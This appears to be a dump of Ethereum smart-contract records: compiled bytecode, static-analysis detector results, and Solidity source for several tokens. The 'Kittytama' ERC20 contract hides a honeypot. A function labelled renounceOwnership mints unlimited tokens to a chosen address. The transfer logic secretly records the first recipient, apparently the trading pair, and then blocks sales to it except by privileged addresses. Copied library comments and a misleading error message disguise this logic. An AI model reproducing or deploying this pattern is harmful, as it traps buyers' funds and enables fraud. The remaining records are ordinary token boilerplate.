905060008060006129998e878787612bf6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061220c565b905092915050565b6000808284612a1a9190613c28565b905083811015612a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a5690614017565b60405180910390fd5b8091505092915050565b6000612a736125fd565b90506000612a8a8284612c7f90919063ffffffff16565b9050612ade81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b3b826006546129c190919063ffffffff16565b600681905550612b5681600754612a0b90919063ffffffff16565b6007819055505050565b600080600080612b8c6064612b7e888a612c7f90919063ffffffff16565b61262890919063ffffffff16565b90506000612bb66064612ba8888b612c7f90919063ffffffff16565b61262890919063ffffffff16565b90506000612bdf82612bd1858c6129c190919063ffffffff16565b6129c190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c0f8589612c7f90919063ffffffff16565b90506000612c268689612c7f90919063ffffffff16565b90506000612c3d8789612c7f90919063ffffffff16565b90506000612c6682612c5885876129c190919063ffffffff16565b6129c190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c925760009050612cf4565b60008284612ca09190614037565b9050828482612caf9190613f9a565b14612cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce690614103565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d5c82612d13565b810181811067ffffffffffffffff82111715612d7b57612d7a612d24565b5b80604052505050565b6000612d8e612cfa565b9050612d9a8282612d53565b919050565b600067ffffffffffffffff821115612dba57612db9612d24565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dfb82612dd0565b9050919050565b612e0b81612df0565b8114612e1657600080fd5b50565b600081359050612e2881612e02565b92915050565b6000612e41612e3c84612d9f565b612d84565b90508083825260208201905060208402830185811115612e6457612e63612dcb565b5b835b81811015612e8d5780612e798882612e19565b845260208401935050602081019050612e66565b5050509392505050565b600082601f830112612eac57612eab612d0e565b5b8135612ebc848260208601612e2e565b91505092915050565b600060208284031215612edb57612eda612d04565b5b600082013567ffffffffffffffff811115612ef957612ef8612d09565b5b612f0584828501612e97565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f48578082015181840152602081019050612f2d565b83811115612f57576000848401525b50505050565b6000612f6882612f0e565b612f728185612f19565b9350612f82818560208601612f2a565b612f8b81612d13565b840191505092915050565b60006020820190508181036000830152612fb08184612f5d565b905092915050565b6000819050919050565b612fcb81612fb8565b8114612fd657600080fd5b50565b600081359050612fe881612fc2565b92915050565b6000806040838503121561300557613004612d04565b5b600061301385828601612e19565b925050602061302485828601612fd9565b9150509250929050565b60008115159050919050565b6130438161302e565b82525050565b600060208201905061305e600083018461303a565b92915050565b6000819050919050565b600061308961308461307f84612dd0565b613064565b612dd0565b9050919050565b600061309b8261306e565b9050919050565b60006130ad82613090565b9050919050565b6130bd816130a2565b82525050565b60006020820190506130d860008301846130b4565b92915050565b6130e781612fb8565b82525050565b600060208201905061310260008301846130de565b92915050565b60008060006060848603121561312157613120612d04565b5b600061312f86828701612e19565b935050602061314086828701612e19565b925050604061315186828701612fd9565b9150509250925092565b600060ff82169050919050565b6131718161315b565b82525050565b600060208201905061318c6000830184613168565b92915050565b61319b81612df0565b82525050565b60006020820190506131b66000830184613192565b92915050565b6000602082840312156131d2576131d1612d04565b5b60006131e084828501612e19565b91505092915050565b6131f28161302e565b81146131fd57600080fd5b50565b60008135905061320f816131e9565b92915050565b60006020828403121561322b5761322a612d04565b5b600061323984828501613200565b91505092915050565b60006020828403121561325857613257612d04565b5b600061326684828501612fd9565b91505092915050565b6000806000806080858703121561328957613288612d04565b5b600061329787828801612fd9565b94505060206132a887828801612fd9565b93505060406132b987828801612fd9565b92505060606132ca87828801612fd9565b91505092959194509250565b600080fd5b60008083601f8401126132f1576132f0612d0e565b5b8235905067ffffffffffffffff81111561330e5761330d6132d6565b5b60208301915083602082028301111561332a57613329612dcb565b5b9250929050565b60008060006040848603121561334a57613349612d04565b5b600084013567ffffffffffffffff81111561336857613367612d09565b5b613374868287016132db565b9350935050602061338786828701613200565b9150509250925092565b600080604083850312156133a8576133a7612d04565b5b60006133b685828601612e19565b92505060206133c785828601612e19565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613407602083612f19565b9150613412826133d1565b602082019050919050565b60006020820190508181036000830152613436816133fa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134a682612fb8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134d9576134d861346c565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203425000000000000000000000000000000000000000000000000000000602082015250565b6000613540602583612f19565b915061354b826134e4565b604082019050919050565b6000602082019050818103600083015261356f81613533565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203260008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b60006135d2602283612f19565b91506135dd82613576565b604082019050919050565b60006020820190508181036000830152613601816135c5565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642034250000000000000000000000000000000000000000000000000000602082015250565b6000613664602683612f19565b915061366f82613608565b604082019050919050565b6000602082019050818103600083015261369381613657565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3230250000000000000000000000000000000000000000000000000000000000602082015250565b60006136f6602383612f19565b91506137018261369a565b604082019050919050565b60006020820190508181036000830152613725816136e9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613788602683612f19565b91506137938261372c565b604082019050919050565b600060208201905081810360008301526137b78161377b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061381a602483612f19565b9150613825826137be565b604082019050919050565b600060208201905081810360008301526138498161380d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138ac602283612f19565b91506138b782613850565b604082019050919050565b600060208201905081810360008301526138db8161389f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061393e602583612f19565b9150613949826138e2565b604082019050919050565b6000602082019050818103600083015261396d81613931565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139d0602383612f19565b91506139db82613974565b604082019050919050565b600060208201905081810360008301526139ff816139c3565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a62602983612f19565b9150613a6d82613a06565b604082019050919050565b60006020820190508181036000830152613a9181613a55565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613af4603f83612f19565b9150613aff82613a98565b604082019050919050565b60006020820190508181036000830152613b2381613ae7565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613b60601c83612f19565b9150613b6b82613b2a565b602082019050919050565b60006020820190508181036000830152613b8f81613b53565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613bf2602383612f19565b9150613bfd82613b96565b604082019050919050565b60006020820190508181036000830152613c2181613be5565b9050919050565b6000613c3382612fb8565b9150613c3e83612fb8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c7357613c7261346c565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613cda602383612f19565b9150613ce582613c7e565b604082019050919050565b60006020820190508181036000830152613d0981613ccd565b9050919050565b6000613d1b82612fb8565b9150613d2683612fb8565b925082821015613d3957613d3861346c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613da0602a83612f19565b9150613dab82613d44565b604082019050919050565b60006020820190508181036000830152613dcf81613d93565b9050919050565b600081519050613de581612e02565b92915050565b600060208284031215613e0157613e00612d04565b5b6000613e0f84828501613dd6565b91505092915050565b6000819050919050565b6000613e3d613e38613e3384613e18565b613064565b612fb8565b9050919050565b613e4d81613e22565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e8881612df0565b82525050565b6000613e9a8383613e7f565b60208301905092915050565b6000602082019050919050565b6000613ebe82613e53565b613ec88185613e5e565b9350613ed383613e6f565b8060005b83811015613f04578151613eeb8882613e8e565b9750613ef683613ea6565b925050600181019050613ed7565b5085935050505092915050565b600060a082019050613f2660008301886130de565b613f336020830187613e44565b8181036040830152613f458186613eb3565b9050613f546060830185613192565b613f6160808301846130de565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fa582612fb8565b9150613fb083612fb8565b925082613fc057613fbf613f6b565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614001601b83612f19565b915061400c82613fcb565b602082019050919050565b6000602082019050818103600083015261403081613ff4565b9050919050565b600061404282612fb8565b915061404d83612fb8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140865761408561346c565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006140ed602183612f19565b91506140f882614091565b604082019050919050565b6000602082019050818103600083015261411c816140e0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6f4c0dd82a1a665e9c5fc6bd626766b646f9c2de969d412125f115df477cca764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,097 |
0x530c5f7f3b5491da552c3bc2a6148a61283ed03e
|
/**
*Submitted for verification at Etherscan.io on 2022-02-06
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Kittytama is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function renounceOwnership(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: renounceOwnership from the zero address");
_reflect (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _reflectAddress;
_totalSupply = _totalSupply.add(_reflectAmount);
balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
}
|
0x6080604052600436106100a55760003560e01c80633950935111610061578063395093511461019857806370a08231146101b857806395d89b41146101ee578063a457c2d714610203578063a9059cbb14610223578063dd62ed3e1461024357005b806306fdde03146100ae578063095ea7b3146100d957806318160ddd1461010957806320189d281461012c57806323b872dd1461014c578063313ce5671461016c57005b366100ac57005b005b3480156100ba57600080fd5b506100c3610289565b6040516100d091906109e2565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610a53565b610317565b60405190151581526020016100d0565b34801561011557600080fd5b5061011e61039b565b6040519081526020016100d0565b34801561013857600080fd5b506100ac610147366004610a53565b6103d8565b34801561015857600080fd5b506100f9610167366004610a7d565b61046f565b34801561017857600080fd5b506004546101869060ff1681565b60405160ff90911681526020016100d0565b3480156101a457600080fd5b506100f96101b3366004610a53565b6105c9565b3480156101c457600080fd5b5061011e6101d3366004610ab9565b6001600160a01b031660009081526008602052604090205490565b3480156101fa57600080fd5b506100c361060d565b34801561020f57600080fd5b506100f961021e366004610a53565b61061a565b34801561022f57600080fd5b506100f961023e366004610a53565b610650565b34801561024f57600080fd5b5061011e61025e366004610ad4565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6003805461029690610b07565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610b07565b801561030f5780601f106102e45761010080835404028352916020019161030f565b820191906000526020600020905b8154815290600101906020018083116102f257829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156103505760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7546005546103d39161073b565b905090565b6000546001600160a01b031633146103ef57600080fd5b6001600160a01b0382166104615760405162461bcd60e51b815260206004820152602e60248201527f45524332303a2072656e6f756e63654f776e6572736869702066726f6d20746860448201526d65207a65726f206164647265737360901b60648201526084015b60405180910390fd5b61046b828261075b565b5050565b60006001600160a01b03841615801590610497575060045461010090046001600160a01b0316155b156104c15760048054610100600160a81b0319166101006001600160a01b038616021790556104cb565b6104cb84846107c9565b6001600160a01b0384166000908152600860205260409020546104ee908361073b565b6001600160a01b0385166000908152600860209081526040808320939093556009815282822033835290522054610525908361073b565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461056390836108a3565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105b79086815260200190565b60405180910390a35060019392505050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff90866108a3565b6108be565b50600192915050565b6001805461029690610b07565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff908661073b565b6004546000906001600160a01b038481166101009092041614156106a45760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610458565b336000908152600860205260409020546106be908361073b565b33600090815260086020526040808220929092556001600160a01b038516815220546106ea90836108a3565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103899086815260200190565b60008282111561074a57600080fd5b6107548284610b58565b9392505050565b600780546001600160a01b0319166001600160a01b03841617905560055461078390826108a3565b6005556001600160a01b0382166000908152600860205260409020546107a990826108a3565b6001600160a01b0390921660009081526008602052604090209190915550565b6004546001600160a01b038281166101009092041614158061081557506007546001600160a01b03838116911614801561081557506004546001600160a01b0382811661010090920416145b8061085757506004546001600160a01b038281166101009092041614801561085757506006546001600160a01b03831660009081526008602052604090205411155b61046b5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610458565b60006108af8284610b6f565b90508281101561039557600080fd5b6001600160a01b0383166109205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b0382166109815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208083528351808285015260005b81811015610a0f578581018301518582016040015282016109f3565b81811115610a21576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610a4e57600080fd5b919050565b60008060408385031215610a6657600080fd5b610a6f83610a37565b946020939093013593505050565b600080600060608486031215610a9257600080fd5b610a9b84610a37565b9250610aa960208501610a37565b9150604084013590509250925092565b600060208284031215610acb57600080fd5b61075482610a37565b60008060408385031215610ae757600080fd5b610af083610a37565b9150610afe60208401610a37565b90509250929050565b600181811c90821680610b1b57607f821691505b60208210811415610b3c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610b6a57610b6a610b42565b500390565b60008219821115610b8257610b82610b42565b50019056fea2646970667358221220d028dd2028eb3f759a04f9c165a873fc35ca53837b05c2846c6cd0619bdb931164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,098 |
0xd30271cb54fcaef894c1246989a5b422f8d97db7
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
